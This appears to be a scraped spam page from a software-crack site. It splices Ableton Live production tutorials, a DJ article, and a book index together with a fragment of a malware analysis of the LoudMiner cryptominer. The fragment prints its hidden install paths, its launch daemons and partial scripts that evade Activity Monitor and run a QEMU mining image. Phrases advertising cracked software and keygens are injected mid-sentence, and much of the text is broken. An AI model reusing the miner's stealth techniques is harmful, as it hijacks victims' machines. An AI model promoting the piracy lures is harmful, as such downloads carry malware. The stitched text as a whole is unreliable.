Ableton Live Archives - Malik Softs

Ableton Live Archives - Malik Softs

Ableton Live, 195. Follow Actions, 387 International Society for Music Education, 113, 408–9. Internet music writing software, 132–33. Originally Answered: What advantages does Ableton Live have over Logic Pro for music producers, and vice versa? Most DAWs, including Logic and the industry-. Dubbed LoudMiner, the Monero-mining software first appeared in August 2018, Ableton Live, Sylenth1, Nexus, Reaktor 6 and AutoTune.

Ableton Live Archives - Malik Softs - yes apologise

Ableton Live

Ableton Live
Noise, Sleaze
and Dirt
For some genres, you cant have everything clean
and shiny its plain wrong. So this month
Martin Delaney shows you how to corrupt and
degrade your precious compositions

he time has come to have a talk about sound abuse. Im not talking
about blasting your neighbours with loud music all night, I mean
trashing your samples and programmed sounds, adding the
necessary dirt and sleaze to make them sound more like they belong
in the real world. A good way to start is with sample manipulation,
and in our walkthrough we take a single, not very interesting, sample,
and use it to build a drum rack with four different percussion sounds. Hopefully
this will give you some ideas about recording, squeezing, and stretching,
samples of your own, to make percussion or instrument sounds. This will give
you a source instrument to play with while youre thinking about the effects
processing were interested in as well. Programmed music, with software
instruments, tends to sound very clean, to the point of being sterile. Sometimes
this is a good thing, and for some instrument parts within a mix, its exactly what
you want. But personally, for an entire track, for an entire mix, I find it boring.

Dirt is good
The good news is that there are a lot of tools we can use, inside and outside of
Live, to add dirt and grit to our otherwise highly polished tunes 1 . A lot of
people reading this probably do these kind of things routinely anyway, but as a
Live trainer, I know for sure there are also people who are working with
exclusively programmed music, and they are concerned that their mixes end up
sounding too clean. This applies more to some genres than others, especially
some so-called urban styles, but you can improve the texture of any mix by
dirtying the water a bit. In the old days, this would be less of a problem because
people were recording onto tape, with analogue gear, and there would be plenty
of dirt introduced along the way naturally. Now we have to do it ourselves!
You can get texture by using different sounds, from different sources,
recorded in different ways (and by not using presets... but dont get me started
on that one today). Theres no reason why a tune cant contain really nasty lo-fi
noise as well as flashy state of the art synths! All you really need to make this
happen is Ableton Live, some software instruments (the ones inside Live are
great), a microphone (even your computers built-in mic will do), 2 and
anything with a speaker.

(Almost) any sound will do

Lets start with that beat. Its an old-school sampling technique to take one
sample and manipulate it to create an entire drum kit or instrument, and Ive


The Expert
Martin Delaney,
Performer, Producer
Artist and
Martin, aka
has produced Live
training material and
was one of the UKs
first certified Ableton
Live trainers.

talked about it here before, but it usually

gets cool results; at the very worst its a
good exercise in using Lives sampling tools.
Our example Live set contains a sample
thats ready to go, as well as the finished
drum rack that was made with it, so you
have something to compare to and keep you
on track. Sure, you have to go off and use
your own sample as well, but stick to ours
while youre following the steps, or itll
sound all wrong! Our sample was recorded
in a coffee shop, with the mic on my
MacBook Pro, straight into Live, capturing
some ambient sound. Its a good sound, as
much as its useable as-is, and it doesnt
need too much processing to make it work.
Theres not much point in working with
collected samples if you need to change
and process them so far that they couldve
been anything. I try to restrict myself to
using the basic sampling controls inside
Simpler, and only add a couple of feature
effects if necessary. What I will do, is use a
lot of EQ and compression these are the
most important sampling tools of all. EQ is
used mostly for filtering out the low end of
samples that have too much low rumble,
and compression is applied to each sound
in the kit separately, to maximise volume,
but also clip and contain the levels.
Compression can also change the tone of a
sample, bringing out different textures that
werent so obvious beforehand.
For the kit in the tutorial I used Lives
Glue Compressor, because its widely
available 3 , although usually I go to PSPs
Vintage Warmer 4 . You can put another
compressor in the track after the rack, so it
applies to the entire kit.

Getting Destructive

Live has the worst guitar amp simulations of any

DAW its like theyre not even trying! Seriously.
But there is an upside to the downside these
same lousy guitar amp models are great for
downgrading beats, synths, and vocals. There are
the Amp Simulations in the Audio Effect Rack
section of the Browser, but you can also find the
separate Cabinet and Amp devices in the Audio
Effects section, so you can get a little bit more
specific with your destructive tendencies. I have
used the 1x12 Cab preset a few times... but
never, never, with guitars!
Lives dirt devices
So now weve built our kit, and weve got other sounds in a track, lets think
about how we can dirty things up. As far as that kit goes, we can add bitcrushers
like Redux 5 , and distortions to specific sounds in the kit; the Dynamic Tube/
Tube Trash preset should sound good on the snare weve made in our drum
kit 6 . Live has Dynamic Tube, Redux, Erosion, and Saturator. It also has the
guitar amp and speaker cabinet models so you should be good for distortion!

Ableton Live December 2013





Audio recording & editing in Live Technique MT

MT Step-by-Step Editing techniques

There are several key tools youll need to work with when editing
a performance. If youve already comped from various takes youll
have multiple clips sequenced one after another. Live will
automatically smooth-out the edits youve made with a crossfade.To
view and edit these, select Show Fades from the Create menu.
Fade-ins/-outs can also be controlled in this way.

When trying to improve the timing of smaller edits, rather than

trying to move the clips, move their content instead just grab
the Start Marker in the Sample Editor window to move the content and
disable Snap To Grid for more accuracy. Re-size the clip to avoid
abruptly chopping off the sounds start or end points.

Disabling Warp mode from the Sample View allows you to

re-pitch your audio clips for correction purposes using varispeed.This means that the audios duration will expand or contract as
you go down or up in pitch respectively. Use the Transpose and Detune
amounts to correct your audios pitch.

Lives Warp mode can be used when you want to edit the timing
within an audio clip but leave the pitch information intact.
Pseudo Warp Markers will appear above the waveform in the Sample
Editor.These can be double-clicked and dragged to condense or
expand the clips content.

Like tuning a non-warped clip,Transpose and Detune can be

used with Warp mode enabled as long as its set to anything but
Re-Pitch mode. Finer tuning through Detune is best for minor
corrections, but this can have only a static setting per clip, so Split
each area to be corrected and set the Detune on a part-by-part basis.

If you plan on warping a multi-audio recording like drum mics or

various instruments from a live performance, first ensure that all
audio to be edited is the same length (Consolidate all pieces to a new
length from the Edit menu if needed). Highlight the parts, edit one
clips Warp Markers and the others will follow.The striped pattern
across the top of the clip confirms you are in a grouped Warp mode.







MAGAZINE December 2013

Ableton Live

I started DJing with Ableton Live after a couple of decades of playing out on CDJs and 1210s. I also own Traktor Pro 2 and I play out using Serato with vinyl too, so I’m certainly well placed to understand all the ups and downs of Ableton DJing – of which there are many of both! I should also add that for me the glass is always half full, and half the fun of a Scalextric was building the track itself!

As the creator of Isotonik and Oktopad, which are software templates for the Akai APC40 and Novation Launchpad respectively that work with Ableton Live via Max4Live, I believe I’ve created two tools that makes DJing with Ableton Live more intuitive and more fun – especially if like most DJs you come from the kind of background above. In this article, I’ll go through some of the philosophy behind my products, and look at specific ways they can help you to tame Ableton Live for DJing.

My take on DJing

For the traditional DJ, the benefits of Serato and Traktor are many. Personally, I was first attracted to the ability to carry my entire record collection in a single bag (my gym membership lapsed many years ago and my back isn’t what it used to be…). But I also embrace wholeheartedly all the new technology. Looping actions, doubling up tracks at the click of a button, cue-point juggling and bewildering effects can all add to the DJ’s ability to entertain a crowd. Some will use these subtly, while others have created whole genres out of making tracks unrecognisable from their original forms (check out Kutski or Kissy Sell Out on YouTube to hear what I mean).

(Incidentally, on the whole beatmatching thing, I’ve seen DJs who can and who can’t beatmatch both rock a crowd and fall flat. So I don’t care much for the argument that you have to know how to beatmatch to be able to DJ; you have to know how to DJ to be a DJ, and that for me is about being able to build a vibe and read a crowd. Glad to get that off my chest!)

So anyway, if Traktor and Serato can help you to do all of this, why consider Ableton Live in the first place? Serato Scratch Live can give you the real true vinyl feel, while Traktor is a Midi programmer’s dream. Surely between them they are all the digital DJ needs? Well not quite, as it turns out.

The Ableton advantage

Here are just a few benefits of DJing with Ableton Live:

  • User configurability – One of Ableton’s most appealing features. For instance, how about being able to create endless effects chains to distort or enhance your audio and possibly even create an effect never heard before?
  • Remixing your tracks live – If you’re a producer then you can reproduce your tracks in stems and mix them live. In this field there’s actually no competition for Ableton Live
  • Rearranging and perfectly phrasing every mix on the fly – As a DJ, Ableton’s Session mode can be hard to beat, giving far more possibilities than two or four decks. (Performance missing impact? Just trigger a white noise sample and filter out the lows until the bass kicks in…) True, Traktor and Serato have sample players, but nothing can beat Ableton’s practically infinite number of tracks
Isotonik in action on the Akai APC40.

Matched up with the right controller (buttons are important for triggering tracks, and encoders and faders are necessary for effects, so consider an APC40 or Launchpad / iPad combination; even a couple of Nano-style controllers can give you a full set-up from a backpack) and you can create a truly unique performance.

So where does Ableton lose out to its DJ controller and DVS cousins, and how can Max4Live along with my products help reduce that disadvantage? Let’s look at that question.

Ableton’s main shortcomings

There are two big shortcomings to Ableton that crop up again and again, but both can actually be seen in a positive light.

With an Ableton session you first have to “warp” all of the tracks you want to play (think beatgridding in Traktor or Serato). While things got simpler with Live 8’s new warping methodology, some users still complain that this isn’t as automatic as, say, Serato’s system which seems to hit the downbeat each and every time without much effort.

However, those of you who have been DJing for a number of years will recognise the benefit of knowing your tracks inside out. Initially the process of warping involves listening to your tracks a number of times, which has to be good for your DJing – and anyway, with a little experience a track can be warped in no more time than it takes to listen to it.

The browser
No question, Ableton’s browser is currently lacking. It’s small, and slow to respond to search requests. After a night smashing tune after tune out of Serato you’ll yearn for the simplicity of its browser and meta tag searching.

Ableton Live's browser

There are workarounds and some are ingenious in their approach but these feel more like hacks rather than a streamlined integrated solution. So instead many DJs choose to create a large template, containing every tune they think they’re going to be playing! Preparing such a template feels a little bit like packing a crate of tunes for a DJ session.

But when you come to think of it, focusing on your set before you turn up (just like vinyl DJs used to when packing a crate for the night) can actually be a very good thing.

Using Ableton Live with Max4Live

OK so we’ve coped with the shortcomings, realised the benefits, and we’re ready to start pushing the envelope with our DJing, doing things that leave the Traktor and Serato boys way behind. Here’s where Max4Live along with my software for the APC40 and Novation Launchpad helps you to better use Ableton Live as a DJ.

Max for Live is best seen as a toolkit for adding new behaviours to Ableton Live. My procuts – Isotonik and Oktopad – are templates for the Akai APC40 and Novation Launchpad that use this toolkit to put some pretty cool stuff in your hands.

Easier DJing with parts and sections
Ableton guru Tom Cosm championed what he called his “megaset” DJing principle, where each full track is split into its relevant parts – intro, drums, break, vocal etc. This is a popular way of using Ableton Live for DJing, as you can really get stuck into remixing on the fly, get a visible indication of where you are in a track, and have the ability to create infinite cue points.

Although Serato has just upped its game with the ability to name cue points, you’re limited to five in total, and while Traktor Pro 2.5 with the new Kontrol F1 controller again are nodding in Ableton’s direction, we have yet to see how that system will pan out. However, the downside of using Ableton this way comes when triggering the following clip. Currently you can set “follow actions” with Ableton within each clip, choosing from a number of defined actions to occur after a certain number of bars, beats and units from the clip initially started.

Megaset Principle

With a little bit of effort this can be done quickly but each clip needs to be set separately and if in the middle of a clip you decide to engage a loop then your follow action will occur at the originally set time regardless of the fact that the clip has not met its end.

So here’s where Max4Live comes in. It circumvents this limitation in Ableton, by keeping an eye on where you actually are in a clip no matter what you’re doing and only triggering the next clip when you actually reach the end. No follow actions, no lengthy set up and the ability to perform looping within tracks!

Better looping
Ableton offers a great deal of configurability for Midi Mapping (not as much as Traktor admittedly, but easily equalled when using a third-party utility such as Bomes Midi Translator). However much of what can be mapped relies on what is in focus.

For instance, you can map a Midi controller to set a loop start and end point and toggle the loop on and off; however, you can only do this on the clip that’s in focus. therefore to loop a clip, you’d have to navigate to it first, unnecessary mouse-pushing which, in a dark venue and with a glowing screen can lead to that “just checking Facebook” look. Wouldn’t pressing a single button to set a four-bar loop be much more preferable?

Again, Max4Live to the rescue! With Max4Live you can send message to hidden parameters. Once you understand the nuances of getting the message order right, it’s ultimately possible to set up on-the-fly looping for the eight tracks within the Novation Launchpad’s Clip Launch rectangle (the 8×8 grid of clips that can be triggered from the pads of the Launchpad), setting loops and halving, doubling and moving them with even more control than either Traktor or Serato.

Nudge, nudge…
Having each clip pre-warped, you’ll never have a clashed beat again! Well, almost…

Sometimes no matter how well you warp a clip it’ll just not sit right with another clip’s bassline or hi-hats. On a pair of turntables, jogwheels or touchstrips you’d just give the offending track a little nudge to bring things sonically back into line. Unfortunately, with Ableton it’s not as straightforward. While Ableton has a Midi-mappable set of nudge buttons, but like the looping functionality you can only nudge the clip in focus. Plus, it will also only perform a nudge in the size of the current Global Launch quantize.

The Novation Launchpad

Once again, the, you’ve got multiple button presses to contend with: Change quantization to none, focus on clip and then nudge. All a far cry from reaching out your right hand and holding two fingers against the platter of a 1210…

But once again, Max4Live to the rescue! By sending a simple message to the playing clip with a value of 0.01 you’ll be back to one physical action to achieving the nudging result – just like the + and – buttons on a Denon CD player.

Here’s a bonus: Ever started a track a bar too late or early? Well simply ask Max4Live to jump forwards or back a bar! Again, it’s simple, one-click stuff.

Mixing in key
Many digital musicians love mixing in key, analysing their music files for key and colour coding them in Ableton according to the Camelot wheel for easy harmonic mixing and mashups. Well for them, the ability of Max4Live to be change the pitch of a clip on the fly brings brand new mashup possibilities to the fore, with an endless number of accapellas now becoming suitable to lay over virtually any instrumental.


I made Isotonik and Oktopad because I love the creative possibilities of Ableton Live but wanted to address some of these very real concerns that DJs moving across from other systems have with the program. However, it’s not for everyone. Ableton is still a far cry from two-decks-and-a-mixer. Hopefully Max4Live with the APC40 or Launchpad and my templates makes it easier and more fun, but the truth is, you’ll never finish building your source tunes template, and with this and other issues, it’ll own your life, ruin your relationships, and see you end up with friends that you only recognise through their avatar on a forum!

I can’t do anything about all of that, I’m afraid – and I can’t bring parallel waveforms back for you, either. Apart from that, though, for the adventurous DJ, Ableton Live plus Max4Live with Isotonik and/or Oktopad, does, in my opinion, present the most powerful DJing platform out there today.

• Isotonik and Oktopad are fully featured templates for the Akai APC40 and Launchpad respectively. Subscribers benefit from a steady dream of updates as new functionality is requested and realised. More details and videos can be found at Darren’s website, and subscribers can get involved on his Facebook Page.

Have you tried or considered Ableton Live DJing? Do you currently DJ with Ableton Live? What are your experiences of Ableton, Max4Live, or Darren’s templates? Please share your thoughts in the comments.

Источник: []
awk'{print $2 }')

and if it’s greater than 85%, it stops the mining. The script itself is a bit different across versions, but the general idea stays the same.

After the installation is done, all miner-related installation files are deleted.

Figure 5. Installation of Polyverse.Music.Manipulator.v1.0.1.macOS.dmg

Figure 6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg setup instructions

Version 1

The miner files in the downloaded application package are not obfuscated in any way or placed in another package; they are installed alongside the software in the following places:

  • /Library/Application Support/.Qemusys
    • qemu-system-x86_64 – clean QEMU binary
    • sys00_1-disk001.qcow2 – Linux image (first)
    • qemuservice – shell script that launches the first image via the qemu-system-x86_64 binary (see Script 1 listing)
  • /Library/Application Support/.System-Monitor
    • system-monitor.daemon – launches first image via system-monitor binary
  • /usr/local/bin
    • .Tools-Service
      • sys00_1-disk001.qcow2 – Linux image (second)
      • tools-service.daemon – launches second image via tools-service binary
    • cpumonitor – starts/stops mining based on idle time and CPU usage
    • system-monitor – copy of qemu-system-x86_64 binary
    • tools-service – copy of qemu-system-x86_64 binary
  • /Library/LaunchDaemons
    • buildtools.system-monitor.plist – launches system-monitor.daemon
    • – launches tools-service.daemon
    • modulesys.qemuservice.plist – launches qemuservice
    • systools.cpumonitor.plist – launches cpumonitor



pgrep"Activity Monitor"


launchctl unload-w/Library/LaunchDaemons/com.modulesys.qemuservice.plist


/usr/local/bin/qemu-system-x86_64-Maccel=hvf--cpu host/Library/Application\Support/.Qemusys/sys00_1-disk001.qcow2-display none




Script 1. qemuservice shell script

After the dependencies are copied over, all miner-related daemons are launched and then the actual software is installed:

  • qemuservice won’t launch the image if the Activity Monitor process is running. In fact, if it is running, it will unload the plist that it was launched by.
  • tools-service.daemon will launch the image only when qemu-system-x86_64 process is not running and after sleeping for 45 minutes.
  • System-monitor.daemon will launch the image only if Intel i5, i7 or i9 CPU is detected.

These scripts use the same command to launch the QEMU image, only differing in names and the image path.

We’ve found the following screenshot related to version 1 of the miner:

Figure 7. CPU consumption of QEMU with Little Snitch (source:

It is from Little Snitch indicating that some connections from the process qemu-system-x86_64 were blocked. Specifically, hopto[.]org (a free hostname service) is a C&C used by version 1 of the miner.

Version 2

Miner files are in data_installer.pkg inside the downloaded application package. data_installer.pkg is installed first, then the VST software. Before installation, version 1 of the miner is removed along with executing the command:

As seen in the listing in Script 2, it only does so when it detects a running qemu-system-x86_64 process.
























#Clear Old


LGC=`ps aux

(p. 671) Index

Page of

PRINTED FROM OXFORD HANDBOOKS ONLINE ( © Oxford University Press, 2018. All Rights Reserved. Under the terms of the licence agreement, an individual user may print out a PDF of a single chapter of a title in Oxford Handbooks Online for personal use (for details see Privacy Policy and Legal Notice).

date: 20 November 2021

Page numbers followed by f indicate figures.

Ableton Live,195

Follow Actions,387

Launch modes in,387

quantization in,387, 390

scenes in,387

session view,387

Ableton Push,387–88

Abril, C.,651

access issues, music technology and,283–84

ACID Pro (program),195


acoustic instruments,72, 458, 468

acoustic knowing,512

active intervention,451, 455

active thinking,145


Adams, J.,388

adaptive experts,169

Adé, K. S.,330

administrative technologies,657

Adorno, T.,19

on repetition,388

Advanced Placement music theory exams, U.S.,299


Africa.See also specific countries

instruments in,178

Internet in,177, 186–87

music education in,177

music technology in,178

oral-aural tradition in,177–78


surveys in,179–85

technology in,177, 185–87, 250–51, 583–85

urban areas in,185–86

“Africa Stop Ebola” (song),333

African culture, technology in,582–83

African diaspora,388

African music,177


Aime, G. B.,406, 407



Akai,208, 388

Akuno, E.,3

Alber, D.,610



Allsup, R. E.,542

on child-centered education,549

Amadou & Mariam,333

American Federal Radio Commission,21

Amplified Elephants,456–57, 460


analog recording,186

analytical listening,392

Andersson, A. P.,245

Anhuali Community Center,411

Animoog,238, 390

anonymous diversity,266

Antal, A. B.,609

Antares,234–35, 390


technology and,318


Apple (company),23–24, 75–76, 99, 546

Apple, M.,25, 205

(p. 672) Apple TV,471

apprenticeship, linear model of,159–60

apps,115, 318. See also specific apps

development of,641

on iPad,360

as scaffold,468–69

teachers and,641

Arendt, H.,150


on objects,138

armchair ethnomusicology,58

Armstrong, L.,21

Armstrong, V.,285

on gender,571

Arnold, M.,341


art, Dissanayake on,77



ASCII art,619


differences in degrees of,313

distinction and,314

Hayles on,340

in practice,294–95

of technology,293–94

assistive music technology,284

Associated Board of Royal Schools of Music,134

Atanasoff-Berry Computer,73

Atari,35, 555

at-risk learners,324

Attali, J.,18, 23

attitudes,620–21, 667–69




aural awareness,559

Aural Books,134–35

aural processes,638

Auralia (program),133


authentic music technology,563–65


authoritative complex,212, 227–28

autism spectrum,439–40

automobile, as technology,83–84

Autonomous University of Chihuahua,608

autonomy, of musicians,637–38

Auto-Tune,234–35, 390

Awadi, Didier,333


Babbitt, M.,495

Bach, J. S.,379, 399

Baldwin, R., on teachers,314

Ball State University,610

Ballantyne, J.,7

Bamberger, J.,198

on students,326

Band Aid,332–33


“Bangla-desh” (Harrison),335

banking model,341

Barrett, J. R.,303


battles (rap),207

Bauer, W. I.,424, 633

on music education,549

Bauerlein, M.,153

Bauman, Z.,359, 360, 365


Beastie Boys,304


the Beatles,384

Bebot (app),441, 443f

bedroom producers,234, 422–23



Benchley, R.,555–56

Benjamin, W.,19

Bennett, H. S.,205

Bentley Test,34

Berber music,235

Berkovitz, J.,3–4

Berlin Phonogramm-Archiv,57–58

Bernard, R.,644

Bernhard, H. C.,424

Berry, A.,524, 528

“Beware the Dandelions,”305

Bieber, J.,424

binary mindset,549



Blackboard (management system),530

Bledsoe, R.,6

blended learning,221



BMI Award,207

Boehm, C., on music technology,324

Bonde, L. O.,246

Bongo Flava,335

Bono,330, 332

Border Crossing,409

Botswana, music education in,584

Bourdieu, P.,21

Bowers, J.

on variable engagement and interactivity,561–62

on variable sociality,560

Boyette, R. B.,209–12

Boys and Girls Club,194–95

Breeze, N.,40

Briggs, D.,284

bring-your-own-device (BYOD),424, 472

British Empire,490

Bruner, J.,339

BTEC.SeeBusiness and Technology Education Council

Buckingham, D.,250, 261

on education,262

on mediatization,263

on participation,267

Bulgarian bagpipers,69

Bullmershe College,105

Burnard, P.,281

Bush, J.-M.,3

Business and Technology Education Council (BTEC),38



Bwana, J.,409


Caillois, R.,247

Cakewalk Sonar (program),195

CAL.Seecomputer-assisted learning

Camblin, L.,608

on faculty,613

Campbell, P. S.,205

Candy Crush Saga,318

Canvas (management system),530


Cappelen, B.,245

captured sound,20, 22

Caputo, V.,300

Carcassi, M.,399

Carr, N.,279

Carroll, L.,149

Caruso, E.,73

Casella, M.,480

Catholic Church,370



cerebral palsy,246–47


in aural processes,638

in concert structure,639

degrees of,294–95

in faculty,605

Kigozi on,237

learning and,649–51

in music curriculum,640–44

in music education,342–43, 371

in oral processes,638


Savage on,629

students and,634

teachers and,634, 639–40

of teacher’s roles,401–2

technology and,146, 292, 297–99

Williams, D. A., on,651

Chaplin, C.,18

Chen, J.,3

Chen-Edmund, J.-J.,408

(p. 674) Cher,390

Chernoff, J. M.,388

Chez Panisse,78

Chicago House,207

Chicago Public Library,505


child-centered education,542

Allsup on,549

Westerlund on,549

China Conservatory,406, 411

Chistakis, D.,422

choral music,129


in GarageBand,469


Christensen, M., music program of,295

Chrysostomou, S.,3–5, 123, 125, 161–62

on ICT,124, 137, 157

on technology,124, 139

Churchill, W.,154


Circuitbenders Forum,197


Clark, F. E.,20

classical guitar,399

classical music,638


creativity in,497

flipped,91, 377

innovation in,599

iPad in,319

knowledge and,318

music technology in,133

structured time in,497

technology in,463, 467–68, 547–49

Clay, M.,313

Clayton, J.,235

Clean Bandit,332

Clifford, J.,59

cloud-based services,91

cognitive apprenticeship,659


collective music making, byproducts of,455

College Music Society Advisory Committee for Education,205


Columbia University,61, 325

Common Core, in United States,542


community music

active intervention approach to,451

leader in,460

technology and,456

comparative ethnomusicology,58




mobile learning communities and,166–67

music technology for,73–74

music theory and,379

in secondary school,287

teachers and,321

technology and,317–18, 423–24

Computer Clubhouse Network,504, 505

computer-assisted learning (CAL),100


human-computer interaction,628



as media,386

Turkle on,242–43, 323

in Western schools,245


augmentation of experience,433–35

change in structure of,639 (p. 675)


in pedagogical models,639

Concordia University,74

conspicuous consumption,21

constructivist movement,384, 544



of music,317

contemporary ethnomusicology,58

Contemporary Music Project for Creativity in Music Education,635

content knowledge,305

content providers, technology as,541–44

context-specific experiences,325–27

contingency plans,624–25

contingent practical configurations,560–61

continual professional development,626–27

controllerism,388, 436

Conway, S. M.,610

cool factor,252


Countryman, J.,425

Coupé Dècalé,335

Coyne, R.,516

Create Digital Music,197

Creative Arts Laboratory,325

Creative Commons,115, 291

creative turn,192

creativity,222, 244

in classroom,497

iPad and,545–46

music technology and,320

participation and,259

products and,416

rhythmic video games and,236

risk-taking and,499

technology and,147, 245, 410–11

Creativity Labs,192

Cristofori, B.,72

critical literacy,341

critical pedagogy,258

critical thinking, in music curriculum,286–88


crosscultural understanding,228

Cuban, L., on laptops,545

Источник: []

MT Technique Programming & workflow

MT Step-by-Step Audio sequencing and editing

There are three ways to manipulate audio: using smaller,

sequenced individual events, manipulating from within a loop or
recording of a performance, or by using Lives Slice To New MIDI Track
function (from right-click menu) to get audio into a MIDI-controllable
form. The latter can utilise techniques from the previous set of steps
here, but our recommendation is to fully explore the presets available.

The first few variables for an audio file can be discovered quite
easily with single sounds. Starting with Warp mode disabled,
Transpose will let you pitch the audio up and down with vari-speed.
Extreme settings of an octave or more in either direction will cause
great sonic changes which can generate very interesting textures and
sounds to start an idea with.

As soon as Warp mode is enabled you open up a whole new world

of possibilities, the first being an overall time-stretch effect
which, like vari-speed transpose, can create dramatic tonal changes at
more extreme settings. Hit the half-time button a few times for an
immediate granular-type effect.

Warp-based time-stretching and pitch change are easily applied

to loops or recordings, but in order for single sounds to benefit
from this you first need to turn them from a sequence into a new single
audio file. To do this, highlight all parts on a track and select
Consolidate from the Edit menu.

To quickly explore the effects of warp markers, use the half- and
double-time buttons. Warp modes can be chosen from the
dropdown menu below the :2 & *2 buttons and all but re-pitch modes
will generate a unique, stretched timbre. Warp markers themselves
can be moved around for an in-loop variation of time-stretch and
compress effects.

Transpose is another useful tool for broad variation. First open

the Envelope box by pressing the small E button underneath the
Clip box, then select Transposition Modulation and alter the envelope
over time. All stretch modes can have their other parameters changed
as well, so explore the new tones these can offer you.




40 September 2013


Although were catering for all ability levels, well assume

that you at least understand the very basics of Live. And
remember that there are some extremely useful built-in
lesson packs that integrate very well into the program, so if
you find yourself out of your comfort zone at any point in
this series, just go to the View menu and select Help View.
The selection of lessons will then appear to the right-hand
side of everything else in Live.
To begin, this month were looking at various ways to
create and manipulate an initial idea through the use of
MIDI or audio. Your audio can be single sounds, loops or
something youve recorded yourself. MIDI can be used to
control a huge variety of instruments, but at this stage it
doesnt matter whether its bass, pads, drums or lead lines
as well start by focusing on MIDI note data. If you can
competently manipulate sounds at this level, youll have
very tight control over how the sound can then be varied
throughout your work before getting tangled in a web of
automation, layering effects and so on.
Although a power user needs good ideas and an ear to
produce, workflow is also important, so with audio, MIDI and
workflow in mind, lets get started. MT

Programming & workflow Technique MT

MT Step-by-Step Fast, creative MIDI editing

If youre inputting MIDI by hand, try to double-click and hold

down your mouse/trackpad button to create a note and set its
length in one movement. A highlighted note can then be moved from
left to right with the arrow keys; pitch can be altered using up/down.

To move from one note to the next using the arrow keys, hold
down [Alt] at the same time. You can be looping around while
editing to hear your changes, or use the MIDI Editor preview button
(the headphone icon above the vertical piano) so you hear each change
in pitch as you make it.

If youre struggling to get an idea started or just want to explore a

different approach from usual, try inputting successive notes by
holding down the [B] key to momentarily engage Draw mode. This
starts you off in a step sequencer-like way. Now use the key
commands already covered to change a notes pitch and press [0] to
mute any unwanted notes.

No matter how your MIDI part has been created, there are some
great editing tools available in Live, but youll first need to
highlight two or more notes. The mouse is the obvious choice for this
task, but for quick keyboard work, hold down [Shift]+[Alt] while using
the arrow keys. You can alter this section or duplicate your work and
alter the second to extend the phrase.

The Invert (Inv) and Reverse (Rev) buttons to the left of the MIDI
Note Editor will flip all highlighted MIDI notes upside down or
back to front respectively. Both are easy ways to create variation in
your parts. A reverse of a beat or half/a full-bars worth of notes is
useful for creating variation at the end of a phrase. Alternatively,
highlight random sections to alter for a less predictable outcome.

Two other useful functions for creative editing are the half- and
double-tempo functions (these are the :2 and *2 buttons above
Inverse and Reverse). These let you change your MIDI, and doubletempo is especially useful for creating small flourishes within a piece.
You can stretch highlighted content for more control over this type of
change just drag the stretch marker above the notes.







MAGAZINE September 2013

September 2013






One of the most underrated new features of Ableton Live 9, is a very simple technique called
Consolidate Time to New Scene. This allows you to select an amount of time from a finished
tracks Arrangement and turn all of the song elements in said selection into a playable, loopable
series of clips set up in a brand new Session View scene.
Most Ableton users are aware of Lives two different views, so I wont go into too much detail
about them. First, we have the more traditional linear sequencing view known as the
Arrangement View. Second, Ableton has its trademark, less linear, more sandbox style view
called the Session View. This is Netsetman Pro 5.0.6 With Crack ( Latest Version 2021 ) we see musical Ableton Live Archives - Malik Softs set up in simple block-like Clips,
that we can play around with, mix-and-match, and rearrange in various ways without
committing them to a particular sequence.
The Session View has become the main live performance tool for several of the most popular
DJs and producers as of late. Why? Because instead of just finishing a track, creating a stereo
bounce, and pressing the play button to play their music out, producers and DJs can take the
pieces of music from their tracks (the kick drum, the bass, the snare, the vocals, etc.), and play
around with them live. As a DJ, I am no longer bound to just play a track that I finished up
yesterday. I can take the stems, add more effects to them, or even re-edit or remix my song on
the fly during my live set! With Live 9, it really couldnt be easier to get your own tracks live
performance ready.
So, for this quick example, Im using a very simple four-stem song Im working on (see image
1). I have four different instrument parts featured this track kick drum, percussion, bass, and
arpeggio, Ableton Live Archives - Malik Softs. The song is currently contained all in the Arrangement View, and my Session View is
completely blank.
Image 1

What Im going to do next is create a Scene (or a series of clips lined up horizontally) in the
Session View that corresponds to all of the instrument parts I have playing during the INTRO of
my song (which I have set up as the first eight bars). In order to achieve this, I am going to use
my mouse to select those eight bars of time in my Arrangement (see image 1 the selection is
highlighted in blue).

Once I have selected this amount of time (and note that you can select time from ANY ONE of
the tracks in your Arrangement, no need to highlight all of them), I am going to click the
CREATE drop-down menu from the task bar at the top of my screen. Then, I am going to
select the option to Consolidate Time to New Scene (see image 2).
Image 2

Ableton takes a second to do its thing, and then viola, youre done! But wait a minute, why
does it look like nothing happened!? Well, lets flip back over to the Session View (press the Tab
key). As you can see, a new Scene, or group of Clips arranged HORIZONTALLY, has been
created (see image 3). I can now use the Scene launch button to play back all of these clips
simultaneously, or I can launch them one at a time.

Image 3

Notice two Ableton Live Archives - Malik Softs Only the clips that were playing in the eight bars of time that I selected are present in the
Scene (there is no Clip for the ARP track, because it was not playing in the Arrangement during
the Intro).
2) All of the clips have been set up to play back for eight bars (the duration that I previously
selected) AND they are all set up to loop (see the bottom Clip View window in image 3).
All I have to do now is go though my songs Arrangement and select different sections of time
maybe highlight my verses, Ableton Live Archives - Malik Softs, choruses (drops), and outro where different elements of my track
are playing. Every time you select an amount of time and choose Consolidate Time to New
Scene, you will have a brand new Scene created that you can work with in Session View!
As a final tip, its always good practice to rename your Scenes so you know what part of your
song you intend to play back when launching them (see image 4).
Image 4

Technique December 2013





Orbital Chime Deconstruction MT

MT Step-by-Step Key elements

Looking at the elements of the original, Ableton Live Archives - Malik Softs back in classicgear-land. Orbital famously triggered hardware such as the
Roland TB-303 and TR-909 live via Alesis MMT8 sequencers.These
sequences were then triggered around particular bar lengths, and this
approach can quite easily be replicated in software like

Ableton Live. Here, the various tracks of the song are broken
down from left to right (drums, chords, two bass lines) while the
aforementioned sequences sit as Virtual DJ 2021 Build 6613 Crack + Serial Number Free Download within each one. The tracks
bass line follows the chord progression throughout, so we need to
work out what that is, but first, lets get the key of the tune.

To find this out its a good idea to load in an mp3 of the original
and simply play along, but weve done the hard work and can
reveal that it is E flat major (notes E flat, F, G, A flat, B flat, C, D, E flat).
Now to look at the songs structure in a little more depth.

The opening sequence is a set of chordal stabs.The easiest way

to re-create this is to sample the sequence and loop it as it plays
solo at the start. But thats cheating, so you could sample an individual
stab and trigger it in Lives sampler as shown here (the pattern repeats
over a couple of bars). If you want to re-create the original chords, go
for a string-like sound with a short attack based around E flat major.

The main bass sound was created with a classic Yamaha FM

module, the TX81Z, Ableton Live Archives - Malik Softs, using a preset called the LatelyBass. If you
want to re-create this it sounds rather like Mixpad keygen,serial,crack,generator,unlock,key plucked bass sound with
rich and mellow tones a sound that underpinned many a dance track
back in the day.

The sound is available in software instruments like NIs FM8

